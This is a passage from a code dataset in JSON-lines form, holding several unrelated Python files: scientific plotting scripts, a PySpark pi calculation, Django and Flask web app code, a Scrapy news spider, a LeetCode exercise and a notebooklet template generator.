results\nscQuery_results = pd.read_csv('MAP_mca_scquery_cell_types.csv')\nmap_cell_types = map_cell_types.append(scQuery_results)\nmap_method_means = map_method_means.append({'n_genes': 50,'gene_method': 'ratio', 'query_method': 'scquery', 'species': 'mouse', 'mean_average_precision': scQuery_results['mean_average_precision'].mean()}, ignore_index=True)\n\n\n# TODO: plot?\n# plot cellmarker, cellmesh, cellmesh_tfidf. fix gene_method='ratio', group by query_method, plot over all n_genes.\n\n# for each cell type, plot performance of all methods\nall_cell_types = sorted(list(set(map_cell_types.cell_type)))\nmap_cell_types_subset = map_cell_types[map_cell_types.gene_method=='ratio']\nsns.set(style='whitegrid', font_scale=1.0)\nplot_y = int(np.ceil(len(all_cell_types)/10))\nfig, axes = plt.subplots(10, plot_y, figsize=(120, 50))\nfor i, axes_1 in enumerate(axes):\n for j, ax in enumerate(axes_1):\n index = i*plot_y + j\n if index >= len(all_cell_types):\n break\n data_subset = map_cell_types_subset[map_cell_types_subset.cell_type==all_cell_types[index]]\n g = sns.categorical.barplot(x='query_method', y='mean_average_precision', hue='n_genes', data=data_subset, ax=ax)\n ax.set_title(all_cell_types[index])\n if j != 0:\n ax.set_ylabel('')\n if i != 6:\n ax.set_xlabel('')\n ax.set_ylim(0, 1)\n if i != j:\n ax.get_legend().remove()\nplt.savefig('map_ratios_mca_fine_all_cell_types.png', dpi=100)\n\n\n\nmap_method_means_subset = map_method_means[map_method_means.gene_method=='ratio']\n\n# plot performance of all methods\nsns.set(style='whitegrid', font_scale=1.5)\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='mean_average_precision', hue='n_genes', data=map_method_means_subset, ax=ax)\nplt.ylim(0, 0.8)\nplt.title('Cell Type Annotation Accuracy')\nplt.savefig('map_ratios_mca_fine.png', dpi=100)\n\n# analysis: which cell types did each of the methods perform poorly on?\nbest_methods_per_cell_type = map_cell_types.sort_values('mean_average_precision', ascending=False).groupby('cell_type').first()\n\ncell_type_no_cellmarker = map_cell_types[map_cell_types.query_method != 'cellmarker']\nbest_methods_no_cellmarker = cell_type_no_cellmarker.sort_values('mean_average_precision', ascending=False).groupby('cell_type').first()\n\n# add scQuery results\n# TODO: calculate results with scquery\n#new_map_method_means = map_method_means.append({'n_genes': 50,'gene_method': 'ratio', 'query_method': 'scQuery', 'mean_average_precision': 0.32136}, ignore_index=True)\nnew_mmm_subset = map_method_means[(map_method_means.gene_method=='ratio') & (map_method_means.n_genes==50)]\n\nsns.set(style='whitegrid', font_scale=1.5)\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='mean_average_precision', hue='n_genes', data=new_mmm_subset, ax=ax)\nplt.ylim(0, 0.8)\nplt.title('Cell Type Annotation Accuracy')\nplt.savefig('map_ratios_mca_fine_with_scquery.png', dpi=100)\n\n#sns.set(style='whitegrid', font_scale=1.5)\n#fig, ax = plt.subplots(figsize=(8, 10))\n#g = sns.categorical.barplot(x='query_method', y='mean_average_precision', hue='n_genes', data=new_mmm_subset, ax=ax)\n#plt.ylim(0, 0.8)\n#plt.title('Cell Type Annotation Accuracy')\n#plt.savefig('map_ratios_mca_fine_with_scquery.png', dpi=100)\n\n# convert MAP to top-1, top-3, and top-5 accuracy\nmap_cell_types['top_1'] = [1 if x > 0.9 else 0 for x in map_cell_types['mean_average_precision']]\nmap_cell_types['top_3'] = [1 if x > 0.3 else 0 for x in map_cell_types['mean_average_precision']]\nmap_cell_types['top_5'] = [1 if x >= 0.2 else 0 for x in map_cell_types['mean_average_precision']]\nmap_cell_types['top_10'] = [1 if x >= 0.1 else 0 for x in map_cell_types['mean_average_precision']]\n# calculate mean top-1, top-3, and top-5 accuracy by method & gene count\nmap_cell_type_means = map_cell_types.groupby(['query_method', 'gene_method', 'n_genes', 'species']).mean().reset_index()\n# plot top-1, top-3, and top-5 accuracy\nsns.set(style='whitegrid', font_scale=1.5)\nfig, axes = plt.subplots(1, 4, figsize=(55, 10))\ncategories = ['top_1', 'top_3', 'top_5', 'top_10'] \ntitles = ['Top-1', 'Top-3', 'Top-5', 'Top-10'] \nfor i, ax in enumerate(axes):\n g = sns.categorical.barplot(x='query_method', y=categories[i], hue='n_genes', data=map_cell_type_means[map_cell_type_means.gene_method=='ratio'], ax=ax)\n g.set_ylim(0, 1.0)\n g.set_title('Cell Type Annotation {0} Accuracy'.format(titles[i])) \nplt.savefig('top_1_accuracy_mca_fine.png', dpi=100)\n\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='top_3', hue='n_genes', data=map_cell_type_means[map_cell_type_means.gene_method=='ratio'], ax=ax)\nplt.ylim(0, 1.0)\nplt.title('Cell Type Annotation Top-3 Accuracy')\nplt.savefig('top_3_accuracy_mca_fine.png', dpi=100)\n\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='top_5', hue='n_genes', data=map_cell_type_means[map_cell_type_means.gene_method=='ratio'], ax=ax)\nplt.ylim(0, 1.0)\nplt.title('Cell Type Annotation Top-5 Accuracy')\nplt.savefig('top_5_accuracy_mca_fine.png', dpi=100)\n\n\n# plot top 1 accuracy with 50 genes, color by species\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='top_1', hue='species',\n data=map_cell_type_means[(map_cell_type_means.gene_method=='ratio') & (map_cell_type_means.n_genes==50)],\n ax=ax)\nplt.ylim(0, 1.0)\nplt.title('Cell Type Annotation Top-1 Accuracy')\nplt.savefig('top_1_accuracy_mca_fine_50_genes.png', dpi=100)\n\n# plot top 3 accuracy with 50 genes, color by species\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='top_3', hue='species',\n data=map_cell_type_means[(map_cell_type_means.gene_method=='ratio') & (map_cell_type_means.n_genes==50)],\n ax=ax)\nplt.ylim(0, 1.0)\nplt.title('Cell Type Annotation Top-3 Accuracy')\nplt.savefig('top_3_accuracy_mca_fine_50_genes.png', dpi=100)\n\n# plot top 5 accuracy with 50 genes, color by species\nfig, ax = plt.subplots(figsize=(18, 10))\ng = sns.categorical.barplot(x='query_method', y='top_5', hue='species',\n data=map_cell_type_means[(map_cell_type_means.gene_method=='ratio') & (map_cell_type_means.n_genes==50)],\n ax=ax)\nplt.ylim(0, 1.0)\nplt.title('Cell Type Annotation Top-5 Accuracy')\nplt.savefig('top_5_accuracy_mca_fine_50_genes.png', dpi=100)\n\n","sub_path":"mca_fine_cellmesh_query.py","file_name":"mca_fine_cellmesh_query.py","file_ext":"py","file_size_in_byte":19151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"609477303","text":"from mpl_toolkits.mplot3d import Axes3D\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\n\ndef plot_particle_positions_h5(t):\n\n fig = plt.figure()\n #ax = Axes3D(fig)\n #ax.set_xlim3d(0, 128)\n #ax.set_ylim3d(0, 196)\n #ax.set_zlim3d(0, 196)\n #ax.set_xlabel('X axis')\n #ax.set_ylabel('Y axis')\n #ax.set_zlabel('Z axis')\n colors = itertools.cycle([\"r\", \"b\", \"g\"])\n\n for rank in range(16):\n #try:\n filename = \"TrackedParticles/rank\" + str(rank) + \".h5\"\n hf = h5py.File(filename, 'r')\n #print(hf.keys())\n #return\n collection = hf.get(str(t))\n data = np.array(collection)\n\n #print(data)\n id_list = data[:,0]\n\n x = data[:, 2]\n y = data[:, 3]\n z = data[:, 4]\n\n xf = np.floor(x)\n yf = np.floor(y)\n zf = np.floor(z)\n\n\n\n vx = data[:, 5]\n vy = data[:, 6]\n vz = data[:, 7]\n col = next(colors)\n plt.quiver(xf, yf, vx, vy, units='width')\n #ax.plot(x, y, z, '.', color=col)\n\n #ax.view_init(30, t)\n plt.savefig(\"TrackedParticles/hdf5_ \" + str(t) + \".png\")\n plt.close()\n\n\ndef plot_density(r):\n i = 0\n for t in r:\n print(t)\n filename = \"ChargeDensity/EField_t_\" + str(t) + \".h5\"\n hf = h5py.File(filename, 'r')\n #print(hf.keys())\n collection = hf.get('rank')\n \n density = np.array(collection)\n if i == 0:\n proj = np.sum(density, axis = 2)\n i = 1\n else:\n proj += np.sum(density, axis = 2)\n nx,ny = proj.shape\n xvec = np.linspace(0, nx + 1, nx)\n yvec = np.linspace(0, ny + 1, ny)\n X, Y = np.meshgrid(yvec,xvec)\n #print(X,Y)\n fig = plt.figure()\n plt.contourf(X, Y, proj)#,levels=np.linspace(-1,100,20))\n plt.colorbar()\n #plt.show()\n plt.savefig(\"ChargeDensity/Density\" + str(r) +\".png\")\n plt.close()\n\n\n\n\nplot_density(range(0,1000,5))","sub_path":"output/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"75013885","text":"#!/usr/bin/env python\n#! -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nfrom operator import add\nfrom random import random\n\nfrom pyspark import SparkConf, SparkContext\n\n# Application configuration\nconf = SparkConf().setAppName(\"PiCalc\")\n# Executor parameters personalization\n# conf.set('spark.executor.memory', '512m')\n# conf.set('spark.executor.cores', '1')\n# conf.set('spark.executor.cores.max', '2')\nconf.set('spark.cores.max', '4')\n\n# Spark Context\nsc = SparkContext(conf=conf)\n\nPARTITIONS = 4\n_N_ = 100000 * PARTITIONS\n\n# Define the pi function\ndef foo(_):\n x = random() * 2 - 1\n y = random() * 2 - 1\n return 1 if x ** 2 + y ** 2 <= 1 else 0\n\n\nwith open(\"output_PiCalc.txt\", \"w\") as output:\n print(\"-----[!]-----[My Spark Application] Start the calculus\")\n output.write(\"[My Spark Application] Start the calculus\\n\")\n # Launch the application in parallel\n count = sc.parallelize(range(1, _N_ + 1), PARTITIONS).map(foo).reduce(add)\n\n print(\"-----[!]-----[My Spark Application] Pi is roughly {}\".format(4.0 * count / _N_))\n output.write(\"[My Spark Application] Pi is roughly {}\\n\".format(4.0 * count / _N_))\n\n# Exit Spark Context\nsc.stop()\n\n","sub_path":"scripts/spark/test_pi.py","file_name":"test_pi.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"483694895","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('ownerview/', views.OwnerShops, name='ownerview'),\n path('addshop/', views.AddShop, name='addshop'),\n path('userview/', views.ShopUserHome, name='userview'),\n path('inshop/<int:id>', views.itemqueryview, name='inshop'),\n path('appoinment/<int:id>', views.appoinmentview, name='appoinment'),\n path('search/', views.search, name='search'),\n]\n","sub_path":"shopmanager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"588703369","text":"#!/usr/bin/env python3\n\n'write a poem'\n\ndef is_not_empty(s):\n if s == '':\n return False\n else:\n return True\n\n\ndef translate(poem):\n ret = poem.split()\n t_a = ret[0] + ' ' + ret[1] #title and auth\n content = ret[2]\n\n new_poem = list()\n new_poem.append(t_a)\n\n temp1 = list(filter(is_not_empty, content.split('。')))\n for i in temp1:\n temp2 = list(filter(is_not_empty, (i+'。').split(',')))\n for j in temp2:\n if j.find('。') == -1:\n new_poem.append(j+',')\n else:\n new_poem.append(j)\n\n l=0\n for i in new_poem:\n if l<len(i):\n l=len(i)\n\n new_poem2=list()\n new_poem.reverse()\n for i in range(0,l):\n line = list()\n for j in new_poem:\n l2=len(j)\n if i>=l2:\n line.append(' |')\n elif j[i] == ' ':\n line.append(j[i] + ' |')\n else:\n line.append(j[i] + '|')\n\n new_poem2.append(''.join(line)+'\\n')\n\n return ''.join(new_poem2)\n\nif __name__=='__main__':\n poem = \"静夜思 李白 床前明月光,疑似地上霜。举头望明月,低头思故乡。\"\n poem2 = \"念奴娇 黄庭坚 断虹霁雨,净秋空,山染修眉新绿。桂影扶疏,谁便道,今夕清辉不足。万里青天,姮娥何处,驾此一轮玉。寒光零乱,为谁偏照醽醁。年少从我追游,晚凉幽径,绕张园森木。共倒金荷,家万里,难得尊前相属。老子平生,江南江北,最爱临风笛。孙郎微笑,坐来声喷霜竹。\"\n new_poem = translate(poem)\n print(new_poem)\n\n","sub_path":"python/poem.py","file_name":"poem.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"358907042","text":"import os\nimport siteasy\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\nimport json\nfrom collections import OrderedDict\nimport logging\nimport logging.config\nimport sys\n\nVERSION = \"0.1.0\"\nPLUGINS_PATH = 'plugins'\n\n#get global_config from config.json\nCONFIG_FILE = 'config.json'\n\n\n\nLOGGING = {\n 'version': 1,\n #'formatters':{\n # 'default': {\n # 'format': '%(asctime)s %(levelname)s %(name)s %(message)s'\n # },\n #},\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n },\n 'file':{\n 'class': 'logging.FileHandler',\n #'formatter': 'default',\n 'filename': 'site.log',\n 'mode': 'w',\n #'encoding': 'utf-8',\n },\n },\n 'root': {\n 'handlers': ['file'],\n 'level' : 'DEBUG',\n },\n}\n\nlogging.config.dictConfig(LOGGING)\n\nf = open(CONFIG_FILE,encoding='utf-8')\nglobal_config = json.loads(f.read(),object_pairs_hook=OrderedDict)\nf.close()\n\nglobal_context = {k:global_config[k] for k in ['logo','footer']}\nglobal_site_map = [] \n\nenv = Environment(\n loader=FileSystemLoader([os.path.join(os.getcwd(),'siteasy','theme',global_config['theme']),os.path.join(os.getcwd(),'siteasy',PLUGINS_PATH)]),\n autoescape=select_autoescape(['html', 'xml'])\n )\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"322360745","text":"# -------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\n\"\"\"Notebooklet templates module.\"\"\"\nimport os\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nfrom msticpy.common.utility import valid_pyname\n\nfrom .nb.template import nb_template\n\n_BLACK_IMPORTED = True\ntry:\n import black\nexcept ImportError:\n _BLACK_IMPORTED = False\n\n\nDELETE_LINES = [\n '# change the \"..\" to \"....\"',\n \"from ..._version import VERSION\",\n \"# Note - when moved to the final location (e.g.\",\n \"# nb/environ/category/mynotebooklet.py)\",\n '# you will need to change the \"...\" to \"....\" in these',\n \"# imports because the relative path has changed.\",\n '# change the \"...\" to \"....\"',\n]\n\nREPLACE_TEXT = {\n \"from ... import nb_metadata\": \"from msticnb import nb_metadata\",\n \"from ...common import (\": \"from msticnb.common import (\",\n \"from ...notebooklet import\": \"from msticnb.notebooklet import\",\n \"__version__ = VERSION\": '__version__ = \"1.0\"',\n '__author__ = \"Your name\"': '__author__ = \"{author}\"',\n \"TemplateResult\": \"{nb_name}Result\",\n \"Template Results.\": \"{nb_name} Results.\",\n \"TemplateNB\": \"{nb_name}\",\n \"Template Notebooklet class\": \"{nb_name} Notebooklet class\",\n}\n\n\ndef create_template(\n nb_name: str = \"MyNotebooklet\",\n folder: Union[str, Path] = \".\",\n author: Optional[str] = None,\n subfolder: bool = False,\n overwrite: bool = False,\n):\n \"\"\"\n Create a notebooklet template.\n\n Parameters\n ----------\n nb_name : str, optional\n The name of the notebooklet class, by default \"MyNotebooklet\"\n folder : Union[str, Path], optional\n The target folder for the notebooklet, by default \".\"\n author : str, optional\n Author name to put in the notebooklet Python module, by default None\n subfolder : bool, optional\n If True create a subfolder for the notebooklet, by default False\n overwrite : bool, optional\n If True overwrite existing files with the same name, by default False.\n\n \"\"\"\n author = author or os.environ.get(\"USER\") or os.environ.get(\"USERNAME\") or \"Author\"\n nb_name = valid_pyname(nb_name)\n folder = Path(folder)\n output_template = _edit_template(nb_name, author)\n\n target_name = nb_name.casefold()\n # Create folder\n if not Path(folder).is_absolute():\n # If the folder is already the name of the notebooklet,\n folder = Path(\".\").joinpath(folder).resolve()\n\n if subfolder:\n folder = folder.joinpath(target_name)\n folder.mkdir(parents=True, exist_ok=True)\n\n # write files\n print(f\"Creating files in {folder}: \")\n py_file = folder.joinpath(f\"{target_name}.py\")\n if not py_file.is_file() or overwrite:\n py_file.write_text(output_template, encoding=\"utf-8\")\n print(py_file.name, end=\", \")\n else:\n print(py_file.name, \"not overwritten\", end=\", \")\n\n yaml_text = _edit_yaml(nb_name)\n yaml_file = folder.joinpath(f\"{target_name}.yaml\")\n if not yaml_file.is_file() or overwrite:\n yaml_file.write_text(yaml_text, encoding=\"utf-8\")\n print(yaml_file.name, end=\", \")\n else:\n print(yaml_file.name, \"not overwritten\", end=\", \")\n init_file = folder.joinpath(\"__init__.py\")\n if not init_file.is_file():\n init_file.write_text(\"\", encoding=\"utf-8\")\n print(init_file.name, end=\"\")\n else:\n print(init_file.name, \"exists - skipping\", end=\"\")\n print()\n\n\ndef _edit_template(nb_name: str, author: str) -> str:\n src_template = Path(nb_template.__file__).read_text(encoding=\"utf-8\")\n\n output_template = \"\\n\".join(\n line for line in src_template.split(\"\\n\") if line not in DELETE_LINES\n )\n\n for src, repl in REPLACE_TEXT.items():\n repl_text = repl.format(nb_name=nb_name, author=author)\n output_template = output_template.replace(src, repl_text)\n\n if _BLACK_IMPORTED:\n return black.format_str(output_template, mode=black.Mode())\n return output_template\n\n\ndef _edit_yaml(nb_name: str) -> str:\n yaml_text = (\n Path(nb_template.__file__).with_suffix(\".yaml\").read_text(encoding=\"utf-8\")\n )\n yaml_text = yaml_text.replace(\"TemplateNB\", nb_name).replace(\n \"Template YAML for Notebooklet\", f\"YAML for {nb_name} Notebooklet\"\n )\n return yaml_text\n","sub_path":"msticnb/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":4519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"544521221","text":"from scrapy.spiders import Spider\nfrom scrapy.selector import Selector\nfrom tutroial.items import NewsItem\nfrom tutroial.db import save\nimport scrapy\n\n\n# 新浪体育\n# NBA\n# 国际足球\nclass DmozSpider(Spider):\n dic = {\n 'http://sports.sina.com.cn/nba/': ['//div[@class=\"news-list-b\"]', 'ul/li/p/a/@href'],\n 'http://sports.sina.com.cn/global/': ['//ul[@class=\"ul-type1\"]', 'li/a/@href']\n }\n name = \"sina_global\"\n news = NewsItem()\n # 过滤爬取的域名\n allowed_domains = [\"sina.com.cn\"]\n\n start_urls = [\n # \"http://sports.sina.com.cn/nba/\",\n \"http://sports.sina.com.cn/global/\"\n ]\n\n def parse(self, response):\n sel = Selector(response)\n print(response.url)\n rule1 = self.dic[response.url][0]\n rule2 = self.dic[response.url][1]\n\n rowsites = sel.xpath(rule1)[0]\n rows = rowsites.xpath(rule2).extract()\n for link in rows:\n yield scrapy.Request(link, callback=self.parse_item)\n\n def parse_item(self, response):\n news = self.news\n\n sel = Selector(response)\n\n # 新闻URL\n news['url'] = response.url.strip()\n\n # 根据 URL 来处理 新闻来源 和 新闻类型 参数\n source = 3\n sport = 2\n # 来源\n news['source'] = source\n news['sport'] = sport\n # 标题\n title = sel.xpath('//h1[@class=\"main-title\"]/text()').extract()[0]\n news['title'] = title.strip()\n\n # 发布时间\n date = sel.xpath('//span[@class=\"date\"]/text()').extract()[0]\n news['date'] = date.strip().replace('年', '-').replace('月', '-').replace('日', '')\n\n # 展示图片\n img_url = sel.xpath('//div[@class=\"img_wrapper\"]/img/@src').extract()[0]\n news['img_url'] = img_url.strip()\n\n # 内容\n content = sel.xpath('//div[@class=\"article\"]').extract()[0].strip()\n\n # 去除广告JS\n index = content.rfind('<div id=\"left_hzh_ad\">')\n con = content[0:index] + \"</div>\"\n\n # 去除视频JS\n index_video1 = con.find('<!--video-list-->')\n con1 = con[0:index_video1]\n index_video2 = con.find('<!--/video-list-->')\n con2 = con[index_video2:]\n con = con1 + con2\n\n # 去除微博List\n index_weibo1 = con.find('<!-- 微博列表 -->')\n con1 = con[0:index_weibo1]\n index_weibo2 = con.find('<!-- /微博列表 -->')\n con2 = con[index_weibo2:]\n con = con1 + con2\n\n # 去除HD\n index_hd1 = con.find('<!-- Hd begin -->')\n con1 = con[0:index_hd1]\n index_hd2 = con.find('<!-- Hd end -->')\n con2 = con[index_hd2:]\n con = con1 + con2\n\n # 去除首张图\n index_img1 = con.find('<img')\n con1 = con[0:index_img1]\n index_img2 = con.find('.jpg\">')\n con2 = con[index_img2 + 6:]\n con = con1 + con2\n\n news['content'] = con\n\n news['author'] = \"\"\n # save.savenews(news)\n yield self.news\n","sub_path":"tutroial/tutroial/spiders/sina_global.py","file_name":"sina_global.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"35898754","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom flask import Flask, render_template, request\nfrom flask_table import Table, Col, LinkCol\nimport datetime, os, pathlib\nfrom util.dateUtil import conv_str_datetime\nfrom util.dateUtil import get_one_month_before\nfrom util.loggingUtil import get_logger\nfrom lib import util_com\nfrom lib import util_db\nfrom lib import util_book\n\napp = Flask(__name__)\nbook = None\n\n@app.route('/', methods=['GET'])\ndef get_index():\n return get_list()\n\n@app.route('/list', methods=['GET'])\ndef get_list():\n \"\"\"\n 一覧表示\n \"\"\"\n util_db.Book.db_init(db_file)\n list = util_db.Book.select_all(db_file)\n return render_template('web_book_list.html', list=list)\n\n@app.route('/search', methods=['POST'])\ndef search():\n \"\"\"\n キーワード検索\n \"\"\"\n list = util_db.Book.select_by_keyword(db_file, request.form['seach_keyword'])\n return render_template('web_book_list.html', list=list, seach_keyword=request.form['seach_keyword'])\n\n@app.route('/detail/<int:id>', methods=['GET'])\ndef get_detail(id):\n \"\"\"\n 詳細表示\n \"\"\"\n book = util_db.Book(db_file, 'view', id)\n return render_template('web_book_detail.html', book=book)\n\n@app.route('/new', methods=['GET'])\ndef new():\n \"\"\"\n 新規登録画面へ遷移\n \"\"\"\n return render_template('web_book_new.html', book=book)\n\n@app.route('/save', methods=['POST'])\ndef save():\n \"\"\"\n 新規登録\n \"\"\"\n if request.method == 'POST':\n book = new_book(request, 'new')\n # 登録\n book.save()\n return render_template('web_book_new.html', book=book)\n\ndef new_book(request, mode):\n \"\"\"\n Bookクラスをrequestの内容で初期化して返却\n \"\"\"\n data_id = request.form['data_id'] if 'data_id' in request.form else 0\n isbn = request.form['isbn'] if 'isbn' in request.form else ''\n name = request.form['name'] if 'name' in request.form else ''\n author = request.form['author'] if 'author' in request.form else ''\n translator = request.form['translator'] if 'translator' in request.form else ''\n publisher = request.form['publisher'] if 'publisher' in request.form else ''\n selling_agency = request.form['selling_agency'] if 'selling_agency' in request.form else 0\n original_price = request.form['original_price'] if 'original_price' in request.form else 0\n bid_price = request.form['bid_price'] if 'bid_price' in request.form else 0\n selling_price = request.form['selling_price'] if 'selling_price' in request.form else 0\n owned_flg = request.form['owned_flg'] if 'owned_flg' in request.form else 1\n remarks = request.form['remarks'] if 'remarks' in request.form else ''\n tag = request.form['tag'] if 'tag' in request.form else ''\n\n book = util_db.Book(db_file, mode, data_id, isbn, name, author, translator\n , publisher, selling_agency, original_price, bid_price, selling_price\n , owned_flg, remarks, tag)\n return book\n\n@app.route('/edit/<int:id>', methods=['GET'])\ndef edit(id):\n \"\"\"\n 編集表示\n \"\"\"\n book = util_db.Book(db_file, 'view', id)\n return render_template('web_book_edit.html', book=book)\n\n@app.route('/update', methods=['POST'])\ndef update():\n \"\"\"\n 更新\n \"\"\"\n if request.method == 'POST':\n book = new_book(request, 'update')\n # 更新\n book.update_by_key()\n return render_template('web_book_detail.html', book=book, done_flg=1)\n\n@app.route('/delete/<int:id>', methods=['GET'])\ndef delete(id):\n \"\"\"\n 削除\n \"\"\"\n book.delete_by_key(id)\n return get_list()\n\nif __name__ == '__main__':\n dt_today = datetime.datetime.today()\n current_dir = pathlib.Path(__file__).resolve().parent\n\n # 設定ファイル読み込み\n settings = util_com.get_settings(current_dir)\n\n # DBファイル準備\n db_file = os.path.join(current_dir, settings[\"db_file\"])\n\n # ロガー準備\n log_filename = settings[\"log_filename\"] + '_' + dt_today.strftime('%Y%m%d') + '.log'\n logger = get_logger(__name__, log_filename)\n logger.info('start:' + dt_today.strftime('%Y/%m/%d %H:%M:%S'))\n\n app.run(port=5001, debug=True)","sub_path":"06_DB操作系/書籍管理/web_book_manage.py","file_name":"web_book_manage.py","file_ext":"py","file_size_in_byte":4392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"91885861","text":"'''\n65. Valid Number\nDescriptionHintsSubmissionsDiscussSolution\nDiscuss Pick One\nValidate if a given string is numeric.\n\nSome examples:\n\"0\" => true\n\" 0.1 \" => true\n\"abc\" => false\n\"1 a\" => false\n\"2e10\" => true\nNote: It is intended for the problem statement to be ambiguous. You should gather all requirements \nup front before implementing one.\n\nUpdate (2015-02-10):\nThe signature of the C++ function had been updated. If you still see your function signature accepts a const char * argument, please click the reload button to reset your code definition.\n\n'''\n\n\nclass Solution(object):\n def isNumber(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n\n s = s.strip() # Remove whitespace at front and end\n lst = [None] * len(s)\n\n for i in range(0, len(s)):\n if (s[i] == \" \"):\n return False\n elif (s[i].isdigit()):\n lst[i] = \"d\"\n elif (s[i] == \".\"):\n lst[i] = \"p\"\n elif (s[i] == \"e\"):\n lst[i] = \"e\"\n print(lst)\n\n if (lst.count(\"d\") == 0):\n print(\"BAD 1\")\n return False\n elif lst.count(\"p\") > 1:\n print(\"BAD 2\")\n return False\n elif lst[0] == \"e\":\n return False\n elif lst.count(\"e\") > 1:\n print(\"BAD 3\")\n return False\n elif len(lst) >= 1 and lst[-1] == \"p\" and lst.count(\"d\") == 0:\n print(\"BAD 4\")\n return False\n elif len(lst) >= 1 and lst[-1] == \"e\":\n print(\"BAD 5\")\n return False\n else:\n return True","sub_path":"Algorithms and Data Structures Practice/LeetCode Questions/Hard/65. Valid Number.py","file_name":"65. Valid Number.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"445977804","text":"# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------------\n# MapTask Manager\n# ---------------------------------------------------------------------\n# Copyright (C) 2007-2017 The NOC Project\n# See LICENSE for details\n# ---------------------------------------------------------------------\n\n# Python modules\nimport logging\n# NOC modules\nfrom noc.core.service.client import open_sync_rpc\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass MTManagerImplementation(object):\n def __init__(self, limit=0):\n self.limit = limit\n\n def run(self, object, script, params=None, timeout=None):\n \"\"\"\n Run SA script and wait for result\n \"\"\"\n if \".\" in script:\n # Leave only script name\n script = script.split(\".\")[-1]\n return open_sync_rpc(\"sae\", calling_service=\"MTManager\").script(\n object.id, script, params, timeout\n )\n\n\n# Run single instance\nMTManager = MTManagerImplementation()\n","sub_path":"sa/mtmanager.py","file_name":"mtmanager.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"618966784","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# filename = processes\n# author=KGerring\n# date = 3/23/17\n\n\"\"\"\n@inspector decorator to do\n\n@doc prints/gets getdoc(d) as attr?\n\n#watchdog.utils.echo\n#watchdog.utils.importlib2\n#watchdog.utils.decorators\n#watchdog.utils\n#watchdog.tricks\n\n\n\n\"\"\"\n\nfrom __future__ import absolute_import, unicode_literals\nfrom startups import *\nimport sys, os\nimport regex,re\nimport os\nimport plistlib\nimport subprocess\nfrom functools import partial\nfrom subprocess import getoutput as output\n\nimport six\nfrom IPython.core.magics.execution import Timer\nfrom boltons.funcutils import wraps\n# from pip.utils import (ARCHIVE_EXTENSIONS, BZ2_EXTENSIONS, SUPPORTED_EXTENSIONS, TAR_EXTENSIONS, XZ_EXTENSIONS,\n# ZIP_EXTENSIONS, unpack_file, untar_file, unzip_file)\nfrom stuf.utils import lazyimport\nfrom IPython.utils.capture import capture_output\n\n#from prospector.tools.utils import capture_output, CaptureStream\n\n# from pickle import Pickler, Unpickler, load as pickleload, dump as pickledump, whichmodule\n# from plistlib import PlistFormat, _PlistParser, Plist, loads as plistloads, load as plistload, dump as plistdump, dumps as plistdumps\n# from json import JSONDecoder, JSONEncoder, JSONDecodeError, detect_encoding, dump as jsondump, load as jsonload\n# from zipfile import is_zipfile, _check_zipfile, _ZipWriteFile, ZipFile, ZipInfo, ZipExtFile, PyZipFile, LargeZipFile\n# from tarfile import is_tarfile, TarInfo, TarFile, ExFileObject, SUPPORTED_TYPES, stn\n# import zipapp, zipfile, tempfile, tarfile, struct, shelve, pickletools, pathlib, mimetypes, io, encodings, dbm, csv, copyreg, codecs, cmd, bz2, abc, gzip\n# UP_ASCII_HEX_DIGIT_NAMES\n\n__all__ = ['MANPAGES', 'to_list', 'instance_property', 'attrs', 'callablestr', 'capture_output', 'TraceCalls',\n 'accepts', 'return_as', 'capture_output', 'ExportsList']\n\n#TIMEIT_DEFAULT_NUMBER = 7\n#TIMEIT_DEFAULT_REPEAT = 3\n\n\"\"\"def timeit(self, line, cell):\n\treturn _call_(_func_, self, line, cell)\n\"\"\"\nimport collections\nclass 